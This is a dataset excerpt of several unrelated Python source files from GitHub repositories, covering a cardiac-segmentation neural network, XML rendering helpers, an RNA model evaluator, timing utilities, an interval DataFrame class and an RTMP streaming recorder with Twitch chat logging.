name='mvn0')(data)\n\n conv1 = Conv2D(filters=2**3*num_filter, name='conv1', **kwargs)(mvn0)\n mvn1 = Lambda(mvn, name='mvn1')(conv1)\n\n conv2 = Conv2D(filters=2**3*num_filter, name='conv2', **kwargs)(mvn1)\n mvn2 = Lambda(mvn, name='mvn2')(conv2)\n\n conv3 = Conv2D(filters=2**3*num_filter, name='conv3', **kwargs)(mvn2)\n mvn3 = Lambda(mvn, name='mvn3')(conv3)\n drop3 = Dropout(rate=0.5, name='drop1')(mvn3)\n pool1 = MaxPooling2D(pool_size=3, strides=2,\n padding='same', name='pool1')(drop3)\n\n \n conv4 = Conv2D(filters=2**2*num_filter, name='conv4', **kwargs)(pool1)\n mvn4 = Lambda(mvn, name='mvn4')(conv4)\n\n conv5 = Conv2D(filters=2**2*num_filter, name='conv5', **kwargs)(mvn4)\n mvn5 = Lambda(mvn, name='mvn5')(conv5)\n\n conv6 = Conv2D(filters=2**2*num_filter, name='conv6', **kwargs)(mvn5)\n mvn6 = Lambda(mvn, name='mvn6')(conv6)\n\n conv7 = Conv2D(filters=2**2*num_filter, name='conv7', **kwargs)(mvn6)\n mvn7 = Lambda(mvn, name='mvn7')(conv7)\n drop7 = Dropout(rate=0.5, name='drop2')(mvn7)\n pool2 = MaxPooling2D(pool_size=3, strides=2,\n padding='same', name='pool2')(drop7)\n\n\n conv8 = Conv2D(filters=2**1*num_filter, name='conv8', **kwargs)(pool2)\n mvn8 = Lambda(mvn, name='mvn8')(conv8)\n\n conv9 = Conv2D(filters=2**1*num_filter, name='conv9', **kwargs)(mvn8)\n mvn9 = Lambda(mvn, name='mvn9')(conv9)\n\n conv10 = Conv2D(filters=2**1*num_filter, name='conv10', **kwargs)(mvn9)\n mvn10 = Lambda(mvn, name='mvn10')(conv10)\n\n conv11 = Conv2D(filters=2**1*num_filter, name='conv11', **kwargs)(mvn10)\n mvn11 = Lambda(mvn, name='mvn11')(conv11)\n pool3 = MaxPooling2D(pool_size=3, strides=2,\n padding='same', name='pool3')(mvn11)\n\n conv12 = Conv2D(filters=2**0*num_filter, name='conv12', **kwargs)(pool3)\n mvn12 = Lambda(mvn, name='mvn12')(conv12)\n\n conv13 = Conv2D(filters=2**0*num_filter, name='conv13', **kwargs)(mvn12)\n mvn13 = Lambda(mvn, name='mvn13')(conv13)\n\n conv14 = Conv2D(filters=2**0*num_filter, name='conv14', **kwargs)(mvn13)\n mvn14 = Lambda(mvn, name='mvn14')(conv14)\n\n conv15 = Conv2D(filters=2**0*num_filter, name='conv15', **kwargs)(mvn14)\n mvn15 = Lambda(mvn, name='mvn15')(conv15)\n\n score_conv15 = Conv2D(filters=num_classes, kernel_size=1,\n strides=1, activation=None, padding='same',\n kernel_initializer='glorot_uniform', use_bias=True,\n name='score_conv15')(mvn15)\n upsample1 = Conv2DTranspose(filters=num_classes, kernel_size=3,\n strides=2, activation=None, padding='same',\n kernel_initializer='glorot_uniform', use_bias=False,\n name='upsample1')(score_conv15)\n score_conv11 = Conv2D(filters=num_classes, kernel_size=1,\n strides=1, activation=None, padding='same',\n kernel_initializer='glorot_uniform', use_bias=True,\n name='score_conv11')(mvn11)\n crop1 = Lambda(crop, name='crop1')([upsample1, score_conv11])\n fuse_scores1 = average([crop1, upsample1], name='fuse_scores1')\n \n upsample2 = Conv2DTranspose(filters=num_classes, kernel_size=3,\n strides=2, activation=None, padding='same',\n kernel_initializer='glorot_uniform', use_bias=False,\n name='upsample2')(fuse_scores1)\n score_conv7 = Conv2D(filters=num_classes, kernel_size=1,\n strides=1, activation=None, padding='same',\n kernel_initializer='glorot_uniform', use_bias=True,\n name='score_conv7')(drop7)\n crop2 = Lambda(crop, name='crop2')([upsample2, score_conv7])\n fuse_scores2 = average([crop2, upsample2], name='fuse_scores2')\n \n upsample3 = Conv2DTranspose(filters=num_classes, kernel_size=3,\n strides=2, activation=None, padding='same',\n kernel_initializer='glorot_uniform', use_bias=False,\n name='upsample3')(fuse_scores2)\n score_conv3 = Conv2D(filters=num_classes, kernel_size=1,\n strides=1, activation=None, padding='same',\n kernel_initializer='glorot_uniform', use_bias=True,\n name='score_conv3')(drop3)\n fuse_scores3 = average([score_conv3, upsample3], name='fuse_scores3')\n predictions = Conv2D(filters=num_classes, kernel_size=1,\n strides=1, activation=activation, padding='same',\n kernel_initializer='glorot_uniform', use_bias=True,\n name='predictions')(fuse_scores3)\n \n model = Model(inputs=data, outputs=predictions)\n if weights is not None:\n model.load_weights(weights, by_name=True)\n sgd = optimizers.SGD(lr=0.001, momentum=0.9, nesterov=True)\n model.compile(optimizer=sgd, loss=loss,\n metrics=['accuracy', dice_coef, jaccard_coef])\n\n return model\n\n\nif __name__ == '__main__':\n model = fcn_model_inv((128, 128, 1), 2, num_filter=64, weights=None)\n plot_model(model, show_shapes=True, to_file='fcn_model_inv.png')\n model.summary()\n\n\n","repo_name":"congchao120/cardiac-segmentation-cc","sub_path":"fcn_model_inv.py","file_name":"fcn_model_inv.py","file_ext":"py","file_size_in_byte":7736,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"39233577296","text":"#!/usr/bin/env python\n#\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#\n# Jiao Lin\n# California Institute of Technology\n# (C) 2007 All Rights Reserved\n#\n# {LicenseText}\n#\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#\n\n\nfrom __future__ import print_function\n\ndef parse( stream, *args ):\n parser = create_parser()\n return parser.parse( stream, *args )\n\n\ndef parse_file( filename, *args ):\n return parse( open( filename ), *args )\n\n\ndef render( scatterer ):\n '''render(scatterer) --> text of the xml file\n\n - Inputs:\n scatterer: scatterer hierarchy\n - return: a list of strings\n '''\n renderer = create_renderer()\n class Options: pass\n options = Options()\n options.author = \"Jiao Lin\"\n options.organization = \"Caltech\"\n options.copyright = \"\"\n options.bannerWidth = 78\n options.bannerCharacter = '~'\n options.creator = ''\n options.timestamp = True\n options.lastLine = \" End of file \"\n options.copyrightLine = \"(C) %s All Rights Reserved\"\n options.licenseText = [\"{LicenseText}\"]\n options.timestampLine = \" Generated automatically by %s on %s\"\n options.versionId = ' $' + 'Id' + '$'\n\n renderer.options = options\n\n text = renderer.render( scatterer )\n return text\n\n\ndef weave( scatterer, stream = None ):\n if stream is None:\n import sys\n stream = sys.stdout\n pass\n\n print('\\n'.join( render(scatterer) ), file=stream)\n return\n\n\n\ndef registerRendererExtension( extension_class ):\n renderer_extensions.append( extension_class )\n return\n\n\ndef removeRendererExtension( extension_class ):\n global renderer_extensions\n reg = renderer_extensions\n if extension_class in reg:\n del reg[ reg.index( extension_class ) ]\n return\n\n\n\n\n\ndef create_parser():\n from .Parser import Parser\n parser = Parser()\n return parser\n\n\nrenderer_extensions = []\ndef create_renderer():\n from .Renderer import Renderer\n klasses = [Renderer] + renderer_extensions\n klasses.reverse()\n klass = _inherit( klasses )\n # need Renderer.__init__\n klass.__init__ = Renderer.__init__\n return klass()\n\n#helpers\ndef _inherit( klasses ):\n #print klasses\n P = klasses\n code = \"class ExtendedRenderer( %s ): pass\" % (\n ','.join( [ 'P[%s]' % i for i in range(len(P)) ] )\n )\n d = locals()\n exec(code, d)\n return d['ExtendedRenderer']\n\n\n\n# version\n__id__ = \"$Id$\"\n\n# End of file\n\n","repo_name":"mcvine/mcvine","sub_path":"packages/mccomponents/python/mccomponents/sample/kernelxml/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"99"} +{"seq_id":"13313972010","text":"import sys\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom rna_dataset_vanilla import RNADataset\nfrom model import Deep1D_incept, Res1D\nfrom rawdata import Y_NAMES\n\ndef format_for_submission_(x, label, dec=6):\n\n for res_id, res_data in enumerate(x.squeeze(0)):\n col_0 = '{}_{}'.format(label, res_id)\n col_x = ','.join([str(round(x, dec)) for x in res_data.tolist()])\n yield '{},{}'.format(col_0, col_x)\n\ndef eval_vanilla(model, model_state, data, eval_save):\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n model.load_state_dict(torch.load(model_state)['model_state_dict'])\n model.eval()\n\n print ('id_seqpos,' + ','.join(Y_NAMES), file=eval_save)\n for k_batch, data_batch in enumerate(data):\n data_x = data_batch['x'].unsqueeze(0)\n data_x = data_x.to(device)\n\n out = model(data_x)\n for csv_row in format_for_submission_(out, data_batch['id_label']):\n print (csv_row, file=eval_save)\n\n\ndef print_dict(dd, fout=sys.stdout):\n for key, value in dd.items():\n print ('{} : {}'.format(key, value), file=fout)\n\ndef run4():\n rna_dataset_vanilla = {'file_in': './data/test.json',\n 'tmp_file_dir' : './tmp_out_eval',\n 'filter_noise': True,\n 'nonbond_as_node_feature': True,\n 'consider_loop_type': False,\n 'consider_seqdist': True,\n 'create_data': True}\n print_dict(rna_dataset_vanilla)\n rna_data = RNADataset(**rna_dataset_vanilla)\n print (rna_data)\n print (len(rna_data))\n ddd = DataLoader(rna_data, batch_size=None, shuffle=False)\n\n deeper_1d = {'n_init_features': [64, 128, 128, 128],\n 'n_hidden_channels': 64,\n 'drop_rate': 0.05,\n 'n_blocks': 16,\n 'glu_act': True,\n 'n_in_channels': rna_data.n_node_dim,\n 'n_out_channels': 5}\n print_dict(deeper_1d)\n model = Deep1D_incept(**deeper_1d)\n\n with open('out_eval.csv', 'w') as fout:\n eval_vanilla(model, './trainer_save_9.pt', ddd, fout)\n\ndef run5():\n rna_dataset_vanilla = {'file_in': './data/test.json',\n 'tmp_file_dir' : './tmp_out_eval',\n 'filter_noise': True,\n 'nonbond_as_node_feature': True,\n 'consider_loop_type': False,\n 'consider_seqdist': True,\n 'create_data': True}\n print_dict(rna_dataset_vanilla)\n rna_data = RNADataset(**rna_dataset_vanilla)\n print (rna_data)\n print (len(rna_data))\n ddd = DataLoader(rna_data, batch_size=None, shuffle=False)\n\n deeper_1d = {'in_channels' : rna_data.n_node_dim,\n 'out_channels' : 5,\n 'nblocks': 20,\n 'hidden_progression' : [256, 256, 256, 256,\n 256, 256, 256, 256,\n 512, 512, 512, 512,\n 512, 512, 512, 512,\n 1024, 1024, 1024, 1024]}\n print_dict(deeper_1d)\n model = Res1D(**deeper_1d)\n with open('out_eval.csv', 'w') as fout:\n eval_vanilla(model, './trainer_save_7.pt', ddd, fout)\n\nrun4()\n","repo_name":"anderzzz/rna_graph","sub_path":"main_eval.py","file_name":"main_eval.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"25488739844","text":"# -*- coding: utf-8 -*-\n# python3 compatible\n# ♑\n\nfrom time import time, asctime\nimport random\n\n# remember of timeit.timeit()\n\ndef print_attrs(instance, end='\\n', sep=':\\t'):\n\tfor key in dir(instance):\n\t\tprint(key + key_sep + str(getattr(instance, key)), end=end)\n\ndef on_instance(action=None):\n\tif action is None:\n\t\taction = lambda instance: print('instance created')\n\tdef decorator(cls):\n\t\tdef new_init(self, *args, **kwargs):\n\t\t\tinstance = cls.__init__(self, *args, **kwargs)\n\t\t\taction(instance)\n\t\t\treturn instance\n\t\tcls.__init__ = new_init\n\t\treturn cls\n\ndef append_code(instance, method_name, code):\n\t\"\"\"`code` is func(self, *pargs, **kwargs)\n\torder: old_method(...); code(...)\"\"\"\n\tdef new_method(self, *pargs, **kwargs):\n\t\tgetattr(self, name)(*pargs, **kwargs)\n\t\tcode(self, *pargs, **kwargs)\n\tsetattr(instance, method_name, new_method)\n\ndef prepend_code(instance, method_name, code):\n\t\"\"\"`code` is func(self, *pargs, **kwargs)\n\torder: code(...); old_method(...)\"\"\"\n\tdef new_method(self, *pargs, **kwargs):\n\t\tcode(self, *pargs, **kwargs)\n\t\tgetattr(self, name)(*pargs, **kwargs)\n\tsetattr(instance, method_name, new_method)\n\ndef standard(func, arg_list=None, arg_dict=None, return_answer=True, print_output=True, repeat=0):\n\t\"\"\"useful wrapper for timing\"\"\"\n\tif arg_list is None:\n\t\targ_list = []\n\tif arg_dict is None:\n\t\targ_dict = {}\n\toutput = ''\n\tstart_time = time()\n\tresult = func(*arg_list, **arg_dict)\n\tfor _ in range(repeat):\n\t\tfunc(*arg_list, **arg_dict)\n\tend_time = time() - start_time\n\toutput += \"\"\"Wrapping function 'standard'.\nWrapped function \\'{}\\'.\nResult: {}.\nEstimated time: {}s\n(current time: {}).\"\"\".format(func.__name__, result, end_time, asctime())\n\tif return_answer:\n\t\toutput += '\\n' + str(result)\n\tif print_output:\n\t\tprint(output)\n\telse:\n\t\treturn output\n\ndef repeater(func, arg_list=None, min=0, max=100, number=100,\n\treturn_answer=False, print_output=True):\n\t\"\"\"?\"\"\"\n\t# QUESTION: why for\n\toutput = ''\n\tif not arg_list:\n\t\targ_list = [random.randint(min, max) for _ in range(number)]\n\tn = 0\n\tl = len(arg_list)\n\tresult_list = []\n\tstart_time = time()\n\tfor arg in arg_list:\n\t\tresult_list.append(func(arg))\n\tend_time = time() - start_time\n\toutput += \"\"\"Wrapping function 'repeater'.\nWrapped function \\'{}\\'.\nEstimated time: {}s\naverage time: {}\n(current time: {}).\"\"\".format(func.__name__, end_time,\n\t\tend_time/len(arg_list), asctime())\n\toutput += \"Sum: {}, number: {}, average: {}.\".format(sum(result_list), l,\n\t\t1.0*sum(result_list)/l)\n\tif return_answer:\n\t\toutput += '\\n' + str(result_list)\n\tif print_output:\n\t\tprint(output)\n\telse:\n\t\treturn output\n\ndef comparator(func1, func2, arg_list=None, min=0, max=100, number=100,\n\tcheck_equal=False, print_output=True):\n\t\"\"\"?\"\"\"\n\t# QUESTION: why for\n\toutput = ''\n\toutput += \"Wrapping function 'comparator'.\\n\"\n\tif not arg_list:\n\t\targ_list = [random.randint(min, max) for _ in range(number)]\n\tstart_time = time()\n\tfor arg in arg_list:\n\t\tfunc1(arg)\n\tend_time = time() - start_time\n\toutput += \"\"\"Wrapped function \\'{}\\'; estimated time: {}s, average time: {}s.\n\t\"\"\".format(func1.__name__, end_time, end_time/len(arg_list))\n\tstart_time = time()\n\tfor arg in arg_list:\n\t\tfunc2(arg)\n\tend_time = time() - start_time\n\toutput += \"\"\"Wrapped function \\'{}\\'; estimated time: {}s, average time: {}s\n\t(current time: {}).\"\"\".format(func2.__name__, end_time,\n\t\tend_time/len(arg_list), asctime())\n\tif check_equal:\n\t\tfor arg in arg_list:\n\t\t\tif func1(arg) != func2(arg):\n\t\t\t\toutput += \"\\nNot always equal. For example at {}.\".format(arg)\n\t\t\t\tbreak\n\t\telse:\n\t\t\toutput += \"\\nEqual on the arg list.\"\n\tif print_output:\n\t\tprint(output)\n\telse:\n\t\treturn output\n\n__all__ = ['standard', 'repeater', 'comparator']\n","repo_name":"pier-bezuhoff/universal","sub_path":"wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"38070900119","text":"from __future__ import absolute_import\nimport pandas as pd\nfrom six import string_types\nfrom collections import Iterable\n\nfrom .algorithms.continuous_interval import merge_no_key, merge_by_key as merge_by_key\nfrom .algorithms.continuous_interval import union_no_key, union_by_key, union_on_key\nfrom .algorithms.continuous_interval import intersection_no_key, intersection_by_key, intersection_on_key\nfrom .algorithms.continuous_interval import difference_no_key, difference_by_key, difference_on_key\nfrom .algorithms.continuous_interval import issuper_no_key, issuper_by_key\nfrom .algorithms.continuous_interval import nonempty_intersection_no_key, nonempty_intersection_by_key\nfrom .algorithms.continuous_interval import cartesian_intersection as cartesian_intersection_\nfrom .algorithms.continuous_interval import map_intersection as map_intersection_\nfrom .algorithms.continuous_interval import interval_intersection_size as interval_intersection_size_\n\n\nclass CIntervalDF(pd.DataFrame):\n def __init__(self, *args, **kargs):\n disjoint_intervals = kargs.pop('disjoint_intervals', None)\n super(CIntervalDF, self).__init__(*args, **kargs)\n assert 'ts' in self.columns\n if 'tf' not in self.columns:\n self['tf'] = self['ts']\n if 's' not in self.columns:\n self['s'] = True\n if 'f' not in self.columns:\n self['f'] = True\n\n from .weighted_continuous_interval_df import CIntervalWDF\n if len(args) and isinstance(args[0], CIntervalWDF) or (isinstance(kargs.get('data', None), CIntervalWDF)):\n self.drop(columns=['w'], merge=True)\n elif len(args) and isinstance(args[0], CIntervalDF) or (isinstance(kargs.get('data', None), CIntervalDF)):\n if disjoint_intervals:\n self.merge(inplace=True)\n elif disjoint_intervals is False:\n self.merge(inplace=True)\n\n def copy(self, *args, **kargs):\n return CIntervalDF(super(CIntervalDF, self).copy(*args, **kargs))\n\n def drop(self, *args, **kargs):\n merge = kargs.pop('merge', True)\n out = super(CIntervalDF, self).drop(*args, **kargs)\n if isinstance(out, pd.DataFrame):\n if {'ts', 'tf', 's', 'f'}.issubset(set(out.columns)):\n out = CIntervalDF(out, disjoint_intervals=(not merge))\n return out\n\n def append(self, *args, **kargs):\n merge = kargs.pop('merge', False)\n out = super(CIntervalDF, self).append(*args, **kargs)\n if merge:\n out.merge(inplace=True)\n return out\n\n def itertuples(self, index=False, name=None, bounds=False):\n columns = sorted(list(set(self.columns) - {'ts', 'tf', 's', 'f'})) + ['ts', 'tf']\n if bounds:\n columns += ['s', 'f']\n return super(CIntervalDF, self).reindex(columns=columns).itertuples(index=index, name=name)\n else:\n return super(CIntervalDF, self).reindex(columns=columns).itertuples(index=index, name=name)\n\n def __getitem__(self, index):\n out = super(CIntervalDF, self).__getitem__(index)\n if isinstance(out, pd.DataFrame):\n if 'ts' in out.columns and 'tf' in out.columns:\n out = CIntervalDF(out)\n return out\n\n def sort_values(self, by, axis=0, ascending=True, inplace=False, kind='quicksort', na_position='last'):\n df = super(self.__class__, self).sort_values(by, axis, ascending, inplace, kind, na_position)\n if not inplace:\n return self.__class__(df)\n\n def get_ni_columns(self, on_column):\n if on_column is None:\n columns = self.columns\n elif (not isinstance(on_column, Iterable) or isinstance(on_column, string_types)) and on_column in self.columns:\n columns = [on_column]\n elif isinstance(on_column, Iterable):\n columns = list(c for c in on_column)\n cols = sorted(list(set(c for c in columns) - {'ts', 'tf', 's', 'f'}))\n if on_column is not None:\n assert all(c in self.columns for c in cols)\n return cols\n\n @property\n def events(self):\n columns = sorted(list(set(self.columns) - {'ts', 'tf', 's', 'f'}))\n dfp = self[columns + ['ts']].rename(columns={\"ts\": \"t\"})\n dfp['start'] = True\n dfpv = self[columns + ['tf']].rename(columns={\"tf\": \"t\"})\n dfpv['start'] = False\n return dfp.append(dfpv, ignore_index=True, sort=False).sort_values(by=['t', 'start'], ascending=[True, False])\n\n @property\n def events_bounds(self):\n columns = sorted(list(set(self.columns) - {'ts', 'tf', 's', 'f'}))\n dfp = self[columns + ['ts', 's']].rename(columns={\"ts\": \"t\", 's': 'closed'})\n dfp['start'] = True\n dfpv = self[columns + ['tf', 'f']].rename(columns={\"tf\": \"t\", 'f': 'closed'})\n dfpv['start'] = False\n return dfp.append(dfpv, ignore_index=True, sort=False).sort_values(by=['t', 'start'])\n\n def measure_time(self):\n return (self.tf - self.ts).sum()\n\n def df_at(self, t):\n return self[self.index_at(t)]\n\n def df_at_interval(self, ts, tf, it=None):\n return self[self.index_at_interval(ts, tf, it)]\n\n def count_at(self, t):\n return self.index_at(t).sum()\n\n def index_at(self, t):\n return self.index_at_interval(t, t)\n\n def index_at_interval(self, ts, tf, it=None):\n assert ts <= tf\n l, r = (it in ['left', 'both'], it in ['right', 'both'])\n return ((self.ts < ts) & (self.tf > tf)) | ((self.ts == ts) & (self.s | l)) | ((self.tf == tf) & (self.f | r))\n\n def _save_or_return(self, df, inplace, on_column, disjoint_intervals=True):\n if df is None:\n df = self.__class__(columns=self.columns)\n else:\n df = self.__class__(df, columns=on_column + ['ts', 'tf', 's', 'f'], disjoint_intervals=disjoint_intervals)\n\n if inplace and df is not self:\n return self._update_inplace(df._data)\n else:\n return (df.copy() if df is self else df)\n\n def merge(self, inplace=False):\n on_column = self.get_ni_columns(None)\n data = (self if inplace else self.copy())\n if not len(on_column):\n df = merge_no_key(data)\n else:\n df = merge_by_key(data)\n return self._save_or_return(df, inplace, on_column)\n\n def union(self, df, on_column=None, by_key=True, inplace=False):\n if df.empty:\n return self._save_or_return(self, inplace)\n\n assert not (not by_key and df is None)\n on_column = self.get_ni_columns(on_column)\n\n if not len(on_column):\n df = union_no_key(self, df)\n elif by_key:\n df = union_by_key(self, df)\n else:\n df = union_on_key(self, df)\n return self._save_or_return(df, inplace, on_column)\n\n def intersection(self, df=None, on_column=None, by_key=True, inplace=False):\n if df is None or df.empty:\n return self._save_or_return(None, inplace)\n\n assert not (not by_key and df is None)\n on_column = self.get_ni_columns(on_column)\n\n if not len(on_column):\n df = intersection_no_key(self, df)\n elif by_key:\n df = intersection_by_key(self, df)\n else:\n df = intersection_on_key(self, df)\n return self._save_or_return(df, inplace, on_column)\n\n def difference(self, dfb, on_column=None, by_key=True, inplace=False):\n if self.empty or dfb.empty:\n return self._save_or_return(self, inplace)\n\n on_column = self.get_ni_columns(on_column)\n if not len(on_column):\n df = difference_no_key(self, dfb)\n elif by_key:\n df = difference_by_key(self, dfb)\n else:\n df = difference_on_key(self, dfb)\n return self._save_or_return(df, inplace, on_column)\n\n def issuper(self, dfb, on_column=None, by_key=True):\n on_column = self.get_ni_columns(on_column)\n if not len(on_column):\n return issuper_no_key(self, dfb)\n elif by_key:\n return issuper_by_key(self, dfb)\n else:\n # Should function as well\n return issuper_no_key(self, dfb)\n\n def nonempty_intersection(self, bdf, on_column=\"u\", by_key=True):\n on_column = self.get_ni_columns(on_column)\n if not len(on_column):\n return nonempty_intersection_no_key(self, bdf)\n elif by_key:\n return nonempty_intersection_by_key(self, bdf)\n else:\n # Should function as well\n return nonempty_intersection_no_key(self, bdf)\n\n def cartesian_intersection(self, base_df):\n assert set(base_df.columns) == {'u', 'ts', 'tf', 's', 'f'}\n assert set(self.columns) == {'u', 'v', 'ts', 'tf', 's', 'f'}\n nodes = set(u for u in base_df['u'])\n out = cartesian_intersection_(self[self.u.isin(nodes) & self.v.isin(nodes)], base_df)\n return self.__class__(out, columns=['u', 'v', 'ts', 'tf', 's', 'f'], disjoint_intervals=True)\n\n def map_intersection(self, base_df):\n assert set(base_df.columns) == {'u', 'ts', 'tf', 's', 'f'}\n assert set(self.columns) == {'u', 'v', 'ts', 'tf', 's', 'f'}\n nodes = set(u for u in base_df['u'])\n out = map_intersection_(self[self.u.isin(nodes)], base_df)\n return self.__class__(out, columns=['u', 'ts', 'tf', 's', 'f'], disjoint_intervals=True)\n\n def intersection_size(self, b):\n return interval_intersection_size_(self, b)\n\n @property\n def limits(self):\n ts, its = min((key[-4], not key[-2]) for key in self.itertuples(bounds=True))\n tf, itf = max((key[-3], not key[-1]) for key in self.itertuples(bounds=True))\n return (ts, tf, not its, itf)\n","repo_name":"ysig/stream_graph","sub_path":"stream_graph/base/dataframes/continuous_interval_df.py","file_name":"continuous_interval_df.py","file_ext":"py","file_size_in_byte":9727,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"99"} +{"seq_id":"19387776811","text":"import asyncio\nfrom fastapi import WebSocket\nfrom bitstring import BitStream, BitArray\nimport logging\nimport os\nfrom datetime import datetime\n\nfrom pyrtmp import StreamClosedException, RTMPProtocol\nfrom pyrtmp.messages import SessionManager\nfrom pyrtmp.messages.audio import AudioMessage\nfrom pyrtmp.messages.command import NCConnect, NCCreateStream, NSPublish, NSCloseStream, NSDeleteStream\nfrom pyrtmp.messages.data import MetaDataMessage\nfrom pyrtmp.messages.protocolcontrol import WindowAcknowledgementSize, SetChunkSize, SetPeerBandwidth\nfrom pyrtmp.messages.usercontrol import StreamBegin\nfrom pyrtmp.messages.video import VideoMessage\nfrom pyrtmp.misc.flvdump import FLVMediaType\n\nimport websockets\nimport database\nfrom config import configRouter\nfrom MAnalyzer import MAnalyzer\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\nasync def pipe_init(stdin: asyncio.StreamWriter):\n stream = BitStream()\n stream.append(b'FLV')\n stream.append(BitStream(uint=1, length=8))\n stream.append(BitStream(uint=5, length=8))\n stream.append(BitStream(uint=9, length=32))\n stream.append(BitStream(uint=0, length=32))\n stdin.write(stream.bytes)\n await stdin.drain()\n\nasync def pipe_write(stdin: asyncio.StreamWriter, timestamp: int, payload: bytes, media_type: FLVMediaType):\n payload_size = len(payload)\n prev_tag_size = 11 + payload_size\n stream = BitStream()\n stream.append(BitArray(uint=int(media_type), length=8))\n stream.append(BitArray(uint=payload_size, length=24))\n stream.append(BitArray(uint=timestamp & 0x00FFFFFF, length=24))\n stream.append(BitArray(uint=timestamp >> 24, length=8))\n stream.append(BitArray(uint=0, length=24))\n stream.append(payload)\n stream.append(BitArray(uint=prev_tag_size, length=32))\n stdin.write(stream.bytes)\n await stdin.drain()\n\nasync def ffmpeg_controler(reader, writer, **kwargs):\n queue = kwargs.get('queue', None)\n session = SessionManager(reader=reader, writer=writer)\n flv = None\n try:\n logger.debug(f'Client connected {session.peername}')\n\n # do handshake\n await session.handshake()\n start_time = datetime.now().strftime('%Y%m%d%H%M%S')\n message = f\"streaming started at {start_time}.\"\n file_name = f\"live_{start_time}.mp4\"\n \n # create flv file at temp\n # flv = FLVFile(os.path.join(file_path,'video', file_name))\n\n # create ffmpeg subprocess\n ffmpeg_command = f\"{configRouter.configparser.config['default']['ffmpeg_src']} -i pipe:0 -c:v copy -c:a aac -f mp4 {configRouter.configparser.config['default']['data_path']}/video/{file_name}\"\n ffmpeg_process = await asyncio.create_subprocess_shell(ffmpeg_command,\n stdin=asyncio.subprocess.PIPE,\n stdout=asyncio.subprocess.PIPE)\n await pipe_init(ffmpeg_process.stdin)\n queue.put_nowait(f\"connected:{start_time}\")\n\n # read chunks\n async for chunk in session.read_chunks_from_stream():\n message = chunk.as_message()\n logger.debug(f\"Receiving {str(message)} {message.chunk_id}\")\n if isinstance(message, NCConnect):\n session.write_chunk_to_stream(WindowAcknowledgementSize(ack_window_size=5000000))\n session.write_chunk_to_stream(SetPeerBandwidth(ack_window_size=5000000, limit_type=2))\n session.write_chunk_to_stream(StreamBegin(stream_id=0))\n session.write_chunk_to_stream(SetChunkSize(chunk_size=8192))\n session.writer_chunk_size = 8192\n session.write_chunk_to_stream(message.create_response())\n await session.drain()\n logger.debug(\"Response to NCConnect\")\n elif isinstance(message, WindowAcknowledgementSize):\n pass\n elif isinstance(message, NCCreateStream):\n session.write_chunk_to_stream(message.create_response())\n await session.drain()\n logger.debug(\"Response to NCCreateStream\")\n elif isinstance(message, NSPublish):\n session.write_chunk_to_stream(StreamBegin(stream_id=1))\n session.write_chunk_to_stream(message.create_response())\n await session.drain()\n logger.debug(\"Response to NSPublish\")\n elif isinstance(message, MetaDataMessage):\n # Write meta data to file\n # flv.write(0, message.to_raw_meta(), FLVMediaType.OBJECT)\n\n # Write meta data to pipe\n await pipe_write(ffmpeg_process.stdin, 0, message.to_raw_meta(), FLVMediaType.OBJECT)\n await ffmpeg_process.stdin.drain()\n\n elif isinstance(message, SetChunkSize):\n session.reader_chunk_size = message.chunk_size\n logger.debug(\"Set Chunk Size\")\n elif isinstance(message, VideoMessage):\n # Write video data to file\n # flv.write(message.timestamp, message.payload, FLVMediaType.VIDEO)\n\n # Write meta data to pipe\n await pipe_write(ffmpeg_process.stdin, message.timestamp, message.payload, FLVMediaType.VIDEO)\n\n elif isinstance(message, AudioMessage):\n # Write data data to file\n # flv.write(message.timestamp, message.payload, FLVMediaType.AUDIO)\n\n # Write meta data to pipe\n await pipe_write(ffmpeg_process.stdin, message.timestamp, message.payload, FLVMediaType.AUDIO)\n\n elif isinstance(message, NSCloseStream):\n pass\n elif isinstance(message, NSDeleteStream):\n pass\n else:\n logger.debug(f\"Unknown message {str(message)}\")\n\n except StreamClosedException as ex:\n logger.debug(f\"Client {session.peername} disconnected!\")\n message = f\"streaming disconnected.\"\n ffmpeg_process.stdin.close()\n queue.put_nowait('disconnected')\n await ffmpeg_process.wait()\n\n finally:\n if flv:\n flv.close()\n\nasync def serve_chat(file_name, access_token, profile, channel_id=None):\n file_path = os.path.join(configRouter.configparser.config['default']['data_path'], 'chatLog')\n async with websockets.connect('ws://irc-ws.chat.twitch.tv:80') as websocket:\n await websocket.send('CAP REQ :twitch.tv/tags twitch.tv/commands twitch.tv/membership')\n await websocket.send(f'PASS oauth:{access_token}')\n await websocket.send(f'NICK {profile[\"login\"]}')\n if channel_id:\n await websocket.send(f'JOIN #{channel_id}')\n else:\n await websocket.send(f'JOIN #{profile[\"login\"]}')\n\n while True:\n response = await websocket.recv()\n if response.startswith('PING'):\n await websocket.send('PONG :tmi.twitch.tv')\n elif 'PRIVMSG' in response:\n with open(os.path.join(file_path, file_name),'a', encoding='utf-8') as f:\n f.write(response)\n\nasync def serve_rtmp(port=1935, access_token:str=None, profile=None, out_queue:asyncio.Queue=None):\n queue = asyncio.Queue()\n loop = asyncio.get_running_loop()\n server = await loop.create_server(lambda: RTMPProtocol(controller=ffmpeg_controler, loop=loop, queue=queue), '127.0.0.1', port)\n addr = server.sockets[0].getsockname()\n logger.info(f'Serving on {addr}')\n await server.start_serving()\n\n while True:\n message = await queue.get()\n if message.startswith('connected'):\n start_time = message.split(':')[1]\n stream_file_name = f\"live_{start_time}.mp4\"\n chat_file_name = f\"chat_{start_time}.log\"\n stream_id = await database.data_insert(database.connect, 'tb_stream', (start_time, stream_file_name, 